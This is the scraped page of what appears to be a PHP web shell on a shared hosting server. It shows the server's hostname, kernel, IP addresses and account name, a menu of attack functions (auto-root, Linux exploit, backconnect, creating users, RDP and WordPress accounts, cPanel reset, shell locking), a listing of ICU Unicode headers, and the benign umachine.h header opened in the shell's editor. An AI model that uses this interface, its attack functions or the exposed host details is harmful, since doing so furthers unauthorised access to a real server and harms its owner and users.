Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 3.144.93.14
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
alt-nodejs18 /
root /
usr /
include /
unicode /
[ HOME SHELL ]
Name
Size
Permission
Action
alphaindex.h
26.54
KB
-rw-r--r--
appendable.h
8.54
KB
-rw-r--r--
basictz.h
9.99
KB
-rw-r--r--
brkiter.h
27.86
KB
-rw-r--r--
bytestream.h
10.75
KB
-rw-r--r--
bytestrie.h
20.8
KB
-rw-r--r--
bytestriebuilder.h
7.48
KB
-rw-r--r--
calendar.h
106.52
KB
-rw-r--r--
caniter.h
7.47
KB
-rw-r--r--
casemap.h
25.42
KB
-rw-r--r--
char16ptr.h
7.22
KB
-rw-r--r--
chariter.h
24.06
KB
-rw-r--r--
choicfmt.h
24
KB
-rw-r--r--
coleitr.h
13.78
KB
-rw-r--r--
coll.h
56.3
KB
-rw-r--r--
compactdecimalformat.h
6.88
KB
-rw-r--r--
curramt.h
3.67
KB
-rw-r--r--
currpinf.h
7.3
KB
-rw-r--r--
currunit.h
4.02
KB
-rw-r--r--
datefmt.h
40.72
KB
-rw-r--r--
dbbi.h
1.19
KB
-rw-r--r--
dcfmtsym.h
20.94
KB
-rw-r--r--
decimfmt.h
87.54
KB
-rw-r--r--
displayoptions.h
7.08
KB
-rw-r--r--
docmain.h
7.3
KB
-rw-r--r--
dtfmtsym.h
38.23
KB
-rw-r--r--
dtintrv.h
3.85
KB
-rw-r--r--
dtitvfmt.h
49.26
KB
-rw-r--r--
dtitvinf.h
18.63
KB
-rw-r--r--
dtptngen.h
28.64
KB
-rw-r--r--
dtrule.h
8.69
KB
-rw-r--r--
edits.h
20.73
KB
-rw-r--r--
enumset.h
2.08
KB
-rw-r--r--
errorcode.h
4.84
KB
-rw-r--r--
fieldpos.h
8.7
KB
-rw-r--r--
filteredbrk.h
5.37
KB
-rw-r--r--
fmtable.h
24.45
KB
-rw-r--r--
format.h
12.5
KB
-rw-r--r--
formattednumber.h
6.15
KB
-rw-r--r--
formattedvalue.h
9.75
KB
-rw-r--r--
fpositer.h
3.03
KB
-rw-r--r--
gender.h
3.35
KB
-rw-r--r--
gregocal.h
30.03
KB
-rw-r--r--
icudataver.h
1.02
KB
-rw-r--r--
icuplug.h
12.1
KB
-rw-r--r--
idna.h
12.71
KB
-rw-r--r--
listformatter.h
8.59
KB
-rw-r--r--
localebuilder.h
11.08
KB
-rw-r--r--
localematcher.h
26.83
KB
-rw-r--r--
localpointer.h
19.44
KB
-rw-r--r--
locdspnm.h
7.12
KB
-rw-r--r--
locid.h
48.27
KB
-rw-r--r--
measfmt.h
11.42
KB
-rw-r--r--
measunit.h
107.38
KB
-rw-r--r--
measure.h
4.69
KB
-rw-r--r--
messagepattern.h
33.72
KB
-rw-r--r--
msgfmt.h
44.21
KB
-rw-r--r--
normalizer2.h
34.73
KB
-rw-r--r--
normlzr.h
30.97
KB
-rw-r--r--
nounit.h
2.25
KB
-rw-r--r--
numberformatter.h
90.03
KB
-rw-r--r--
numberrangeformatter.h
25.32
KB
-rw-r--r--
numfmt.h
50.26
KB
-rw-r--r--
numsys.h
7.23
KB
-rw-r--r--
parseerr.h
3.08
KB
-rw-r--r--
parsepos.h
5.57
KB
-rw-r--r--
platform.h
27.8
KB
-rw-r--r--
plurfmt.h
25.25
KB
-rw-r--r--
plurrule.h
20.64
KB
-rw-r--r--
ptypes.h
3.49
KB
-rw-r--r--
putil.h
6.32
KB
-rw-r--r--
rbbi.h
32.07
KB
-rw-r--r--
rbnf.h
49.92
KB
-rw-r--r--
rbtz.h
15.77
KB
-rw-r--r--
regex.h
84.45
KB
-rw-r--r--
region.h
9.2
KB
-rw-r--r--
reldatefmt.h
22.36
KB
-rw-r--r--
rep.h
9.38
KB
-rw-r--r--
resbund.h
18.11
KB
-rw-r--r--
schriter.h
6.1
KB
-rw-r--r--
scientificnumberformatter.h
6.44
KB
-rw-r--r--
search.h
22.24
KB
-rw-r--r--
selfmt.h
14.35
KB
-rw-r--r--
simpleformatter.h
12.6
KB
-rw-r--r--
simplenumberformatter.h
8.88
KB
-rw-r--r--
simpletz.h
45.65
KB
-rw-r--r--
smpdtfmt.h
71.85
KB
-rw-r--r--
sortkey.h
11.19
KB
-rw-r--r--
std_string.h
1.05
KB
-rw-r--r--
strenum.h
9.96
KB
-rw-r--r--
stringoptions.h
5.79
KB
-rw-r--r--
stringpiece.h
10.05
KB
-rw-r--r--
stringtriebuilder.h
15.5
KB
-rw-r--r--
stsearch.h
21.44
KB
-rw-r--r--
symtable.h
4.28
KB
-rw-r--r--
tblcoll.h
36.94
KB
-rw-r--r--
timezone.h
45.67
KB
-rw-r--r--
tmunit.h
3.4
KB
-rw-r--r--
tmutamt.h
4.91
KB
-rw-r--r--
tmutfmt.h
7.42
KB
-rw-r--r--
translit.h
65.83
KB
-rw-r--r--
tzfmt.h
42.96
KB
-rw-r--r--
tznames.h
16.85
KB
-rw-r--r--
tzrule.h
34.86
KB
-rw-r--r--
tztrans.h
6.13
KB
-rw-r--r--
ubidi.h
89.61
KB
-rw-r--r--
ubiditransform.h
12.71
KB
-rw-r--r--
ubrk.h
24.43
KB
-rw-r--r--
ucal.h
64.28
KB
-rw-r--r--
ucasemap.h
15.21
KB
-rw-r--r--
ucat.h
5.35
KB
-rw-r--r--
uchar.h
145.7
KB
-rw-r--r--
ucharstrie.h
22.56
KB
-rw-r--r--
ucharstriebuilder.h
7.48
KB
-rw-r--r--
uchriter.h
13.42
KB
-rw-r--r--
uclean.h
11.21
KB
-rw-r--r--
ucnv.h
83.46
KB
-rw-r--r--
ucnv_cb.h
6.58
KB
-rw-r--r--
ucnv_err.h
20.98
KB
-rw-r--r--
ucnvsel.h
6.24
KB
-rw-r--r--
ucol.h
62.7
KB
-rw-r--r--
ucoleitr.h
9.82
KB
-rw-r--r--
uconfig.h
12.31
KB
-rw-r--r--
ucpmap.h
5.54
KB
-rw-r--r--
ucptrie.h
22.51
KB
-rw-r--r--
ucsdet.h
14.69
KB
-rw-r--r--
ucurr.h
16.72
KB
-rw-r--r--
udat.h
62.36
KB
-rw-r--r--
udata.h
15.63
KB
-rw-r--r--
udateintervalformat.h
11.93
KB
-rw-r--r--
udatpg.h
30.13
KB
-rw-r--r--
udisplaycontext.h
5.94
KB
-rw-r--r--
udisplayoptions.h
8.86
KB
-rw-r--r--
uenum.h
7.79
KB
-rw-r--r--
ufieldpositer.h
4.41
KB
-rw-r--r--
uformattable.h
10.97
KB
-rw-r--r--
uformattednumber.h
8.09
KB
-rw-r--r--
uformattedvalue.h
12.25
KB
-rw-r--r--
ugender.h
2.06
KB
-rw-r--r--
uidna.h
33.43
KB
-rw-r--r--
uiter.h
22.75
KB
-rw-r--r--
uldnames.h
10.48
KB
-rw-r--r--
ulistformatter.h
10.78
KB
-rw-r--r--
uloc.h
54.66
KB
-rw-r--r--
ulocale.h
6.35
KB
-rw-r--r--
ulocbuilder.h
16.72
KB
-rw-r--r--
ulocdata.h
11.3
KB
-rw-r--r--
umachine.h
15
KB
-rw-r--r--
umisc.h
1.34
KB
-rw-r--r--
umsg.h
24.25
KB
-rw-r--r--
umutablecptrie.h
8.3
KB
-rw-r--r--
unifilt.h
4
KB
-rw-r--r--
unifunct.h
4.05
KB
-rw-r--r--
unimatch.h
6.1
KB
-rw-r--r--
unirepl.h
3.38
KB
-rw-r--r--
uniset.h
66.85
KB
-rw-r--r--
unistr.h
171.35
KB
-rw-r--r--
unorm.h
20.55
KB
-rw-r--r--
unorm2.h
25.71
KB
-rw-r--r--
unum.h
55.16
KB
-rw-r--r--
unumberformatter.h
19.68
KB
-rw-r--r--
unumberoptions.h
5.23
KB
-rw-r--r--
unumberrangeformatter.h
15.35
KB
-rw-r--r--
unumsys.h
7.26
KB
-rw-r--r--
uobject.h
10.66
KB
-rw-r--r--
upluralrules.h
8.79
KB
-rw-r--r--
uregex.h
71.99
KB
-rw-r--r--
uregion.h
9.81
KB
-rw-r--r--
ureldatefmt.h
16.98
KB
-rw-r--r--
urename.h
140.82
KB
-rw-r--r--
urep.h
5.38
KB
-rw-r--r--
ures.h
36.65
KB
-rw-r--r--
uscript.h
27.8
KB
-rw-r--r--
usearch.h
39.21
KB
-rw-r--r--
uset.h
45.61
KB
-rw-r--r--
usetiter.h
9.63
KB
-rw-r--r--
ushape.h
18
KB
-rw-r--r--
usimplenumberformatter.h
7.46
KB
-rw-r--r--
uspoof.h
80.32
KB
-rw-r--r--
usprep.h
8.19
KB
-rw-r--r--
ustdio.h
38.56
KB
-rw-r--r--
ustream.h
1.89
KB
-rw-r--r--
ustring.h
72.13
KB
-rw-r--r--
ustringtrie.h
3.15
KB
-rw-r--r--
utext.h
58.1
KB
-rw-r--r--
utf.h
7.87
KB
-rw-r--r--
utf16.h
23.35
KB
-rw-r--r--
utf32.h
763
B
-rw-r--r--
utf8.h
30.83
KB
-rw-r--r--
utf_old.h
45.8
KB
-rw-r--r--
utmscale.h
13.78
KB
-rw-r--r--
utrace.h
17.18
KB
-rw-r--r--
utrans.h
25.54
KB
-rw-r--r--
utypes.h
31.06
KB
-rw-r--r--
uvernum.h
6.33
KB
-rw-r--r--
uversion.h
5.99
KB
-rw-r--r--
vtzone.h
20.69
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : umachine.h
// © 2016 and later: Unicode, Inc. and others. // License & terms of use: http://www.unicode.org/copyright.html /* ****************************************************************************** * * Copyright (C) 1999-2015, International Business Machines * Corporation and others. All Rights Reserved. * ****************************************************************************** * file name: umachine.h * encoding: UTF-8 * tab size: 8 (not used) * indentation:4 * * created on: 1999sep13 * created by: Markus W. Scherer * * This file defines basic types and constants for ICU to be * platform-independent. umachine.h and utf.h are included into * utypes.h to provide all the general definitions for ICU. * All of these definitions used to be in utypes.h before * the UTF-handling macros made this unmaintainable. */ #ifndef __UMACHINE_H__ #define __UMACHINE_H__ /** * \file * \brief Basic types and constants for UTF * * <h2> Basic types and constants for UTF </h2> * This file defines basic types and constants for utf.h to be * platform-independent. umachine.h and utf.h are included into * utypes.h to provide all the general definitions for ICU. * All of these definitions used to be in utypes.h before * the UTF-handling macros made this unmaintainable. * */ /*==========================================================================*/ /* Include platform-dependent definitions */ /* which are contained in the platform-specific file platform.h */ /*==========================================================================*/ #include "unicode/ptypes.h" /* platform.h is included in ptypes.h */ /* * ANSI C headers: * stddef.h defines wchar_t */ #include <stdbool.h> #include <stddef.h> /*==========================================================================*/ /* For C wrappers, we use the symbol U_CAPI. */ /* This works properly if the includer is C or C++. */ /* Functions are declared U_CAPI return-type U_EXPORT2 function-name()... */ /*==========================================================================*/ /** * \def U_CFUNC * This is used in a declaration of a library private ICU C function. * @stable ICU 2.4 */ /** * \def U_CDECL_BEGIN * This is used to begin a declaration of a library private ICU C API. * @stable ICU 2.4 */ /** * \def U_CDECL_END * This is used to end a declaration of a library private ICU C API * @stable ICU 2.4 */ #ifdef __cplusplus # define U_CFUNC extern "C" # define U_CDECL_BEGIN extern "C" { # define U_CDECL_END } #else # define U_CFUNC extern # define U_CDECL_BEGIN # define U_CDECL_END #endif #ifndef U_ATTRIBUTE_DEPRECATED /** * \def U_ATTRIBUTE_DEPRECATED * This is used for GCC specific attributes * @internal */ #if U_GCC_MAJOR_MINOR >= 302 # define U_ATTRIBUTE_DEPRECATED __attribute__ ((deprecated)) /** * \def U_ATTRIBUTE_DEPRECATED * This is used for Visual C++ specific attributes * @internal */ #elif defined(_MSC_VER) && (_MSC_VER >= 1400) # define U_ATTRIBUTE_DEPRECATED __declspec(deprecated) #else # define U_ATTRIBUTE_DEPRECATED #endif #endif /** This is used to declare a function as a public ICU C API @stable ICU 2.0*/ #define U_CAPI U_CFUNC U_EXPORT /** Obsolete/same as U_CAPI; was used to declare a function as a stable public ICU C API*/ #define U_STABLE U_CAPI /** Obsolete/same as U_CAPI; was used to declare a function as a draft public ICU C API */ #define U_DRAFT U_CAPI /** This is used to declare a function as a deprecated public ICU C API */ #define U_DEPRECATED U_CAPI U_ATTRIBUTE_DEPRECATED /** Obsolete/same as U_CAPI; was used to declare a function as an obsolete public ICU C API */ #define U_OBSOLETE U_CAPI /** Obsolete/same as U_CAPI; was used to declare a function as an internal ICU C API */ #define U_INTERNAL U_CAPI // Before ICU 65, function-like, multi-statement ICU macros were just defined as // series of statements wrapped in { } blocks and the caller could choose to // either treat them as if they were actual functions and end the invocation // with a trailing ; creating an empty statement after the block or else omit // this trailing ; using the knowledge that the macro would expand to { }. // // But doing so doesn't work well with macros that look like functions and // compiler warnings about empty statements (ICU-20601) and ICU 65 therefore // switches to the standard solution of wrapping such macros in do { } while. // // This will however break existing code that depends on being able to invoke // these macros without a trailing ; so to be able to remain compatible with // such code the wrapper is itself defined as macros so that it's possible to // build ICU 65 and later with the old macro behaviour, like this: // // export CPPFLAGS='-DUPRV_BLOCK_MACRO_BEGIN="" -DUPRV_BLOCK_MACRO_END=""' // runConfigureICU ... // /** * \def UPRV_BLOCK_MACRO_BEGIN * Defined as the "do" keyword by default. * @internal */ #ifndef UPRV_BLOCK_MACRO_BEGIN #define UPRV_BLOCK_MACRO_BEGIN do #endif /** * \def UPRV_BLOCK_MACRO_END * Defined as "while (false)" by default. * @internal */ #ifndef UPRV_BLOCK_MACRO_END #define UPRV_BLOCK_MACRO_END while (false) #endif /*==========================================================================*/ /* limits for int32_t etc., like in POSIX inttypes.h */ /*==========================================================================*/ #ifndef INT8_MIN /** The smallest value an 8 bit signed integer can hold @stable ICU 2.0 */ # define INT8_MIN ((int8_t)(-128)) #endif #ifndef INT16_MIN /** The smallest value a 16 bit signed integer can hold @stable ICU 2.0 */ # define INT16_MIN ((int16_t)(-32767-1)) #endif #ifndef INT32_MIN /** The smallest value a 32 bit signed integer can hold @stable ICU 2.0 */ # define INT32_MIN ((int32_t)(-2147483647-1)) #endif #ifndef INT8_MAX /** The largest value an 8 bit signed integer can hold @stable ICU 2.0 */ # define INT8_MAX ((int8_t)(127)) #endif #ifndef INT16_MAX /** The largest value a 16 bit signed integer can hold @stable ICU 2.0 */ # define INT16_MAX ((int16_t)(32767)) #endif #ifndef INT32_MAX /** The largest value a 32 bit signed integer can hold @stable ICU 2.0 */ # define INT32_MAX ((int32_t)(2147483647)) #endif #ifndef UINT8_MAX /** The largest value an 8 bit unsigned integer can hold @stable ICU 2.0 */ # define UINT8_MAX ((uint8_t)(255U)) #endif #ifndef UINT16_MAX /** The largest value a 16 bit unsigned integer can hold @stable ICU 2.0 */ # define UINT16_MAX ((uint16_t)(65535U)) #endif #ifndef UINT32_MAX /** The largest value a 32 bit unsigned integer can hold @stable ICU 2.0 */ # define UINT32_MAX ((uint32_t)(4294967295U)) #endif #if defined(U_INT64_T_UNAVAILABLE) # error int64_t is required for decimal format and rule-based number format. #else # ifndef INT64_C /** * Provides a platform independent way to specify a signed 64-bit integer constant. * note: may be wrong for some 64 bit platforms - ensure your compiler provides INT64_C * @stable ICU 2.8 */ # define INT64_C(c) c ## LL # endif # ifndef UINT64_C /** * Provides a platform independent way to specify an unsigned 64-bit integer constant. * note: may be wrong for some 64 bit platforms - ensure your compiler provides UINT64_C * @stable ICU 2.8 */ # define UINT64_C(c) c ## ULL # endif # ifndef U_INT64_MIN /** The smallest value a 64 bit signed integer can hold @stable ICU 2.8 */ # define U_INT64_MIN ((int64_t)(INT64_C(-9223372036854775807)-1)) # endif # ifndef U_INT64_MAX /** The largest value a 64 bit signed integer can hold @stable ICU 2.8 */ # define U_INT64_MAX ((int64_t)(INT64_C(9223372036854775807))) # endif # ifndef U_UINT64_MAX /** The largest value a 64 bit unsigned integer can hold @stable ICU 2.8 */ # define U_UINT64_MAX ((uint64_t)(UINT64_C(18446744073709551615))) # endif #endif /*==========================================================================*/ /* Boolean data type */ /*==========================================================================*/ /** * The ICU boolean type, a signed-byte integer. * ICU-specific for historical reasons: The C and C++ standards used to not define type bool. * Also provides a fixed type definition, as opposed to * type bool whose details (e.g., sizeof) may vary by compiler and between C and C++. * * @stable ICU 2.0 */ typedef int8_t UBool; /** * \def U_DEFINE_FALSE_AND_TRUE * Normally turns off defining macros FALSE=0 & TRUE=1 in public ICU headers. * These obsolete macros sometimes break compilation of other code that * defines enum constants or similar with these names. * C++ has long defined bool/false/true. * C99 also added definitions for these, although as macros; see stdbool.h. * * You may transitionally define U_DEFINE_FALSE_AND_TRUE=1 if you need time to migrate code. * * @internal ICU 68 */ #ifdef U_DEFINE_FALSE_AND_TRUE // Use the predefined value. #else // Default to avoiding collision with non-macro definitions of FALSE & TRUE. # define U_DEFINE_FALSE_AND_TRUE 0 #endif #if U_DEFINE_FALSE_AND_TRUE || defined(U_IN_DOXYGEN) #ifndef TRUE /** * The TRUE value of a UBool. * * @deprecated ICU 68 Use standard "true" instead. */ # define TRUE 1 #endif #ifndef FALSE /** * The FALSE value of a UBool. * * @deprecated ICU 68 Use standard "false" instead. */ # define FALSE 0 #endif #endif // U_DEFINE_FALSE_AND_TRUE /*==========================================================================*/ /* Unicode data types */ /*==========================================================================*/ /* wchar_t-related definitions -------------------------------------------- */ /* * \def U_WCHAR_IS_UTF16 * Defined if wchar_t uses UTF-16. * * @stable ICU 2.0 */ /* * \def U_WCHAR_IS_UTF32 * Defined if wchar_t uses UTF-32. * * @stable ICU 2.0 */ #if !defined(U_WCHAR_IS_UTF16) && !defined(U_WCHAR_IS_UTF32) # ifdef __STDC_ISO_10646__ # if (U_SIZEOF_WCHAR_T==2) # define U_WCHAR_IS_UTF16 # elif (U_SIZEOF_WCHAR_T==4) # define U_WCHAR_IS_UTF32 # endif # elif defined __UCS2__ # if (U_PF_OS390 <= U_PLATFORM && U_PLATFORM <= U_PF_OS400) && (U_SIZEOF_WCHAR_T==2) # define U_WCHAR_IS_UTF16 # endif # elif defined(__UCS4__) || (U_PLATFORM == U_PF_OS400 && defined(__UTF32__)) # if (U_SIZEOF_WCHAR_T==4) # define U_WCHAR_IS_UTF32 # endif # elif U_PLATFORM_IS_DARWIN_BASED || (U_SIZEOF_WCHAR_T==4 && U_PLATFORM_IS_LINUX_BASED) # define U_WCHAR_IS_UTF32 # elif U_PLATFORM_HAS_WIN32_API # define U_WCHAR_IS_UTF16 # endif #endif /* UChar and UChar32 definitions -------------------------------------------- */ /** Number of bytes in a UChar (always 2). @stable ICU 2.0 */ #define U_SIZEOF_UCHAR 2 /** * \def U_CHAR16_IS_TYPEDEF * If 1, then char16_t is a typedef and not a real type (yet) * @internal */ #if defined(_MSC_VER) && (_MSC_VER < 1900) // Versions of Visual Studio/MSVC below 2015 do not support char16_t as a real type, // and instead use a typedef. https://msdn.microsoft.com/library/bb531344.aspx # define U_CHAR16_IS_TYPEDEF 1 #else # define U_CHAR16_IS_TYPEDEF 0 #endif /** * \var UChar * * The base type for UTF-16 code units and pointers. * Unsigned 16-bit integer. * Starting with ICU 59, C++ API uses char16_t directly, while C API continues to use UChar. * * UChar is configurable by defining the macro UCHAR_TYPE * on the preprocessor or compiler command line: * -DUCHAR_TYPE=uint16_t or -DUCHAR_TYPE=wchar_t (if U_SIZEOF_WCHAR_T==2) etc. * (The UCHAR_TYPE can also be \#defined earlier in this file, for outside the ICU library code.) * This is for transitional use from application code that uses uint16_t or wchar_t for UTF-16. * * The default is UChar=char16_t. * * C++11 defines char16_t as bit-compatible with uint16_t, but as a distinct type. * * In C, char16_t is a simple typedef of uint_least16_t. * ICU requires uint_least16_t=uint16_t for data memory mapping. * On macOS, char16_t is not available because the uchar.h standard header is missing. * * @stable ICU 4.4 */ #if 1 // #if 1 is normal. UChar defaults to char16_t in C++. // For configuration testing of UChar=uint16_t temporarily change this to #if 0. // The intltest Makefile #defines UCHAR_TYPE=char16_t, // so we only #define it to uint16_t if it is undefined so far. #elif !defined(UCHAR_TYPE) # define UCHAR_TYPE uint16_t #endif #if defined(U_COMBINED_IMPLEMENTATION) || defined(U_COMMON_IMPLEMENTATION) || \ defined(U_I18N_IMPLEMENTATION) || defined(U_IO_IMPLEMENTATION) // Inside the ICU library code, never configurable. typedef char16_t UChar; #elif defined(UCHAR_TYPE) typedef UCHAR_TYPE UChar; #elif U_CPLUSPLUS_VERSION != 0 typedef char16_t UChar; // C++ #else typedef uint16_t UChar; // C #endif /** * \var OldUChar * Default ICU 58 definition of UChar. * A base type for UTF-16 code units and pointers. * Unsigned 16-bit integer. * * Define OldUChar to be wchar_t if that is 16 bits wide. * If wchar_t is not 16 bits wide, then define UChar to be uint16_t. * * This makes the definition of OldUChar platform-dependent * but allows direct string type compatibility with platforms with * 16-bit wchar_t types. * * This is how UChar was defined in ICU 58, for transition convenience. * Exception: ICU 58 UChar was defined to UCHAR_TYPE if that macro was defined. * The current UChar responds to UCHAR_TYPE but OldUChar does not. * * @stable ICU 59 */ #if U_SIZEOF_WCHAR_T==2 typedef wchar_t OldUChar; #elif defined(__CHAR16_TYPE__) typedef __CHAR16_TYPE__ OldUChar; #else typedef uint16_t OldUChar; #endif /** * Define UChar32 as a type for single Unicode code points. * UChar32 is a signed 32-bit integer (same as int32_t). * * The Unicode code point range is 0..0x10ffff. * All other values (negative or >=0x110000) are illegal as Unicode code points. * They may be used as sentinel values to indicate "done", "error" * or similar non-code point conditions. * * Before ICU 2.4 (Jitterbug 2146), UChar32 was defined * to be wchar_t if that is 32 bits wide (wchar_t may be signed or unsigned) * or else to be uint32_t. * That is, the definition of UChar32 was platform-dependent. * * @see U_SENTINEL * @stable ICU 2.4 */ typedef int32_t UChar32; /** * This value is intended for sentinel values for APIs that * (take or) return single code points (UChar32). * It is outside of the Unicode code point range 0..0x10ffff. * * For example, a "done" or "error" value in a new API * could be indicated with U_SENTINEL. * * ICU APIs designed before ICU 2.4 usually define service-specific "done" * values, mostly 0xffff. * Those may need to be distinguished from * actual U+ffff text contents by calling functions like * CharacterIterator::hasNext() or UnicodeString::length(). * * @return -1 * @see UChar32 * @stable ICU 2.4 */ #define U_SENTINEL (-1) #include "unicode/urename.h" #endif
Close